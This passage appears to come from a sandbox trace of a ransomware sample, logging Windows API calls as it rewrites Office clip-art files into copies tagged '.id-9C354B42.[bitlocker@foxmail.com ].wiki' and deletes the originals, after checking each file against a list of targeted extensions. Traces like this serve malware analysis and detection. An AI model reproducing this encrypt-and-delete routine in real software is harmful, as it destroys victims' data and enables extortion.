dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0195.195] GetLastError () returned 0x0 [0195.195] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1f1c, lpOverlapped=0x0) returned 1 [0195.214] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0195.215] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.215] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.215] SetEndOfFile (hFile=0x1f4) returned 1 [0195.215] CloseHandle (hObject=0x1f4) returned 1 [0195.215] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.215] SetEndOfFile (hFile=0x1cc) returned 1 [0195.216] CloseHandle (hObject=0x1cc) returned 1 [0195.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0195.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.217] lstrlenW (lpString=".doc") returned 4 [0195.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.217] lstrlenW (lpString=".docx") returned 5 [0195.217] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.217] lstrlenW (lpString=".pdf") returned 4 [0195.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.217] lstrlenW (lpString=".xls") returned 4 [0195.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.217] lstrlenW (lpString=".xlsx") returned 5 [0195.217] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.217] lstrlenW (lpString=".ppt") returned 4 [0195.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.217] lstrlenW (lpString=".zip") returned 4 [0195.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.217] lstrlenW (lpString=".rar") returned 4 [0195.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.217] lstrlenW (lpString=".bz2") returned 4 [0195.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.218] lstrlenW (lpString=".7z") returned 3 [0195.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.218] lstrlenW (lpString=".dbf") returned 4 [0195.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.218] lstrlenW (lpString=".1cd") returned 4 [0195.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.218] lstrlenW (lpString=".jpg") returned 4 [0195.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.218] lstrlenW (lpString=".doc") returned 4 [0195.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.218] lstrlenW (lpString=".docx") returned 5 [0195.218] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.218] lstrlenW (lpString=".pdf") returned 4 [0195.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.218] lstrlenW (lpString=".xls") returned 4 [0195.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.218] lstrlenW (lpString=".xlsx") returned 5 [0195.218] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.218] lstrlenW (lpString=".ppt") returned 4 [0195.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.218] lstrlenW (lpString=".zip") returned 4 [0195.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.395] lstrlenW (lpString=".rar") returned 4 [0195.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.395] lstrlenW (lpString=".bz2") returned 4 [0195.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.395] lstrlenW (lpString=".7z") returned 3 [0195.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.395] lstrlenW (lpString=".dbf") returned 4 [0195.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.395] lstrlenW (lpString=".1cd") returned 4 [0195.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0195.395] lstrlenW (lpString=".jpg") returned 4 [0195.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.395] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.395] lstrlenW (lpString="J0107484.WMF") returned 12 [0195.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.396] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3040) returned 1 [0195.396] CloseHandle (hObject=0x218) returned 1 [0195.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 0x20 [0195.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.396] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.396] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.397] GetLastError () returned 0x0 [0195.397] ReadFile (in: hFile=0x218, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xbe0, lpOverlapped=0x0) returned 1 [0195.398] WriteFile (in: hFile=0x1e4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xbf0, lpOverlapped=0x0) returned 1 [0195.399] ReadFile (in: hFile=0x218, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.399] WriteFile (in: hFile=0x1e4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.399] SetEndOfFile (hFile=0x1e4) returned 1 [0195.399] CloseHandle (hObject=0x1e4) returned 1 [0195.399] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.399] SetEndOfFile (hFile=0x218) returned 1 [0195.400] CloseHandle (hObject=0x218) returned 1 [0195.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0195.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.400] lstrlenW (lpString=".doc") returned 4 [0195.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.401] lstrlenW (lpString=".docx") returned 5 [0195.401] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.401] lstrlenW (lpString=".pdf") returned 4 [0195.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.401] lstrlenW (lpString=".xls") returned 4 [0195.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.401] lstrlenW (lpString=".xlsx") returned 5 [0195.401] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.401] lstrlenW (lpString=".ppt") returned 4 [0195.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.401] lstrlenW (lpString=".zip") returned 4 [0195.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.401] lstrlenW (lpString=".rar") returned 4 [0195.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.401] lstrlenW (lpString=".bz2") returned 4 [0195.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.401] lstrlenW (lpString=".7z") returned 3 [0195.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.401] lstrlenW (lpString=".dbf") returned 4 [0195.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.401] lstrlenW (lpString=".1cd") returned 4 [0195.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.401] lstrlenW (lpString=".jpg") returned 4 [0195.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.401] lstrlenW (lpString=".doc") returned 4 [0195.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.402] lstrlenW (lpString=".docx") returned 5 [0195.402] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.402] lstrlenW (lpString=".pdf") returned 4 [0195.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.402] lstrlenW (lpString=".xls") returned 4 [0195.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.402] lstrlenW (lpString=".xlsx") returned 5 [0195.402] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.402] lstrlenW (lpString=".ppt") returned 4 [0195.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.402] lstrlenW (lpString=".zip") returned 4 [0195.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.402] lstrlenW (lpString=".rar") returned 4 [0195.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.402] lstrlenW (lpString=".bz2") returned 4 [0195.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.402] lstrlenW (lpString=".7z") returned 3 [0195.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.402] lstrlenW (lpString=".dbf") returned 4 [0195.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.402] lstrlenW (lpString=".1cd") returned 4 [0195.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0195.402] lstrlenW (lpString=".jpg") returned 4 [0195.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.402] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.403] lstrlenW (lpString="J0107488.WMF") returned 12 [0195.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.403] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8000) returned 1 [0195.403] CloseHandle (hObject=0x218) returned 1 [0195.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 0x20 [0195.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.403] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.403] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.407] GetLastError () returned 0x0 [0195.408] ReadFile (in: hFile=0x218, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1f40, lpOverlapped=0x0) returned 1 [0195.410] WriteFile (in: hFile=0x1e4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1f50, lpOverlapped=0x0) returned 1 [0195.411] ReadFile (in: hFile=0x218, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.411] WriteFile (in: hFile=0x1e4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.411] SetEndOfFile (hFile=0x1e4) returned 1 [0195.411] CloseHandle (hObject=0x1e4) returned 1 [0195.411] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.411] SetEndOfFile (hFile=0x218) returned 1 [0195.412] CloseHandle (hObject=0x218) returned 1 [0195.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 1 [0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.413] lstrlenW (lpString=".doc") returned 4 [0195.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.413] lstrlenW (lpString=".docx") returned 5 [0195.413] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.413] lstrlenW (lpString=".pdf") returned 4 [0195.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.413] lstrlenW (lpString=".xls") returned 4 [0195.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.413] lstrlenW (lpString=".xlsx") returned 5 [0195.413] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.413] lstrlenW (lpString=".ppt") returned 4 [0195.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.413] lstrlenW (lpString=".zip") returned 4 [0195.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.413] lstrlenW (lpString=".rar") returned 4 [0195.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.413] lstrlenW (lpString=".bz2") returned 4 [0195.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.413] lstrlenW (lpString=".7z") returned 3 [0195.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.413] lstrlenW (lpString=".dbf") returned 4 [0195.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.413] lstrlenW (lpString=".1cd") returned 4 [0195.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.413] lstrlenW (lpString=".jpg") returned 4 [0195.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.414] lstrlenW (lpString=".doc") returned 4 [0195.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.414] lstrlenW (lpString=".docx") returned 5 [0195.414] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.414] lstrlenW (lpString=".pdf") returned 4 [0195.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.414] lstrlenW (lpString=".xls") returned 4 [0195.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.414] lstrlenW (lpString=".xlsx") returned 5 [0195.414] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.414] lstrlenW (lpString=".ppt") returned 4 [0195.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.414] lstrlenW (lpString=".zip") returned 4 [0195.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.414] lstrlenW (lpString=".rar") returned 4 [0195.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.414] lstrlenW (lpString=".bz2") returned 4 [0195.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.414] lstrlenW (lpString=".7z") returned 3 [0195.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.414] lstrlenW (lpString=".dbf") returned 4 [0195.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.414] lstrlenW (lpString=".1cd") returned 4 [0195.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned 63 [0195.414] lstrlenW (lpString=".jpg") returned 4 [0195.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.415] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.415] lstrlenW (lpString="J0107490.WMF") returned 12 [0195.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.415] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=16468) returned 1 [0195.415] CloseHandle (hObject=0x218) returned 1 [0195.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 0x20 [0195.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.415] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.416] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.416] GetLastError () returned 0x0 [0195.416] ReadFile (in: hFile=0x218, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x4054, lpOverlapped=0x0) returned 1 [0195.418] WriteFile (in: hFile=0x1e4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4060, lpOverlapped=0x0) returned 1 [0195.419] 